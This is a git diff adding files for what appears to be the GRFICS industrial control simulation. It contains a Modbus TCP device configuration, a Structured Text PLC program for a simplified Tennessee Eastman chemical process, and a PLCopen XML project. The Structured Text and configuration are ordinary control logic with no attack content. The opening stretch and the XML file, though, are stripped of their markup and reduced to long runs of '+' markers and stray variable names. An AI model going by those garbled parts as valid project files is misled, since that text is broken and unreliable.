+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg new file mode 100644 index 0000000..c4103e8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg @@ -0,0 +1,115 @@ +Num_Devices = "6" + +# Device 0 +device0.name = "feed 1" +device0.protocol = "TCP" +device0.slave_id = "247" +device0.address = "192.168.95.10" +device0.IP_Port = "502" +device0.RTU_Baud_Rate = "" +device0.RTU_Parity = "" +device0.RTU_Data_Bits = "" +device0.RTU_Stop_Bits = "" +device0.Discrete_Inputs_Start = "0" +device0.Discrete_Inputs_Size = "0" +device0.Coils_Start = "0" +device0.Coils_Size = "0" +device0.Input_Registers_Start = "1" +device0.Input_Registers_Size = "2" +device0.Holding_Registers_Start = "1" +device0.Holding_Registers_Size = "1" + +# Device 1 +device1.name = "feed 2" +device1.protocol = "TCP" +device1.slave_id = "247" +device1.address = "192.168.95.11" +device1.IP_Port = "502" +device1.RTU_Baud_Rate = "" +device1.RTU_Parity = "" +device1.RTU_Data_Bits = "" +device1.RTU_Stop_Bits = "" +device1.Discrete_Inputs_Start = "0" +device1.Discrete_Inputs_Size = "0" +device1.Coils_Start = "0" +device1.Coils_Size = "0" +device1.Input_Registers_Start = "1" +device1.Input_Registers_Size = "2" +device1.Holding_Registers_Start = "1" +device1.Holding_Registers_Size = "1" + +# Device 2 +device2.name = "purge" +device2.protocol = "TCP" +device2.slave_id = "247" +device2.address = "192.168.95.12" +device2.IP_Port = "502" +device2.RTU_Baud_Rate = "" +device2.RTU_Parity = "" +device2.RTU_Data_Bits = "" +device2.RTU_Stop_Bits = "" +device2.Discrete_Inputs_Start = "0" +device2.Discrete_Inputs_Size = "0" +device2.Coils_Start = "0" +device2.Coils_Size = "0" +device2.Input_Registers_Start = "1" +device2.Input_Registers_Size = "2" +device2.Holding_Registers_Start = "1" +device2.Holding_Registers_Size = "1" + +# Device 3 +device3.name = "product" +device3.protocol = "TCP" +device3.slave_id = "247" +device3.address = "192.168.95.13" +device3.IP_Port = "502" +device3.RTU_Baud_Rate = "" +device3.RTU_Parity = "" +device3.RTU_Data_Bits = "" +device3.RTU_Stop_Bits = "" +device3.Discrete_Inputs_Start = "0" +device3.Discrete_Inputs_Size = "0" +device3.Coils_Start = "0" +device3.Coils_Size = "0" +device3.Input_Registers_Start = "1" +device3.Input_Registers_Size = "2" +device3.Holding_Registers_Start = "1" +device3.Holding_Registers_Size = "1" + +# Device 4 +device4.name = "tank" +device4.protocol = "TCP" +device4.slave_id = "247" +device4.address = "192.168.95.14" +device4.IP_Port = "502" +device4.RTU_Baud_Rate = "" +device4.RTU_Parity = "" +device4.RTU_Data_Bits = "" +device4.RTU_Stop_Bits = "" +device4.Discrete_Inputs_Start = "0" +device4.Discrete_Inputs_Size = "0" +device4.Coils_Start = "0" +device4.Coils_Size = "0" +device4.Input_Registers_Start = "1" +device4.Input_Registers_Size = "2" +device4.Holding_Registers_Start = "0" +device4.Holding_Registers_Size = "0" + +# Device 5 +device5.name = "analyzer" +device5.protocol = "TCP" +device5.slave_id = "247" +device5.address = "192.168.95.15" +device5.IP_Port = "502" +device5.RTU_Baud_Rate = "" +device5.RTU_Parity = "" +device5.RTU_Data_Bits = "" +device5.RTU_Stop_Bits = "" +device5.Discrete_Inputs_Start = "0" +device5.Discrete_Inputs_Size = "0" +device5.Coils_Start = "0" +device5.Coils_Size = "0" +device5.Input_Registers_Start = "1" +device5.Input_Registers_Size = "3" +device5.Holding_Registers_Start = "0" +device5.Holding_Registers_Size = "0" diff --git a/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st new file mode 100644 index 0000000..02d6438 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st @@ -0,0 +1,480 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + run_bit0 := NOT(run_bit); + MOVE99_OUT := MOVE(EN := NOT(run_bit0), IN := 0, ENO => MOVE99_ENO); + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml new file mode 100644 index 0000000..6d8212b --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml @@ -0,0 +1,5332 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 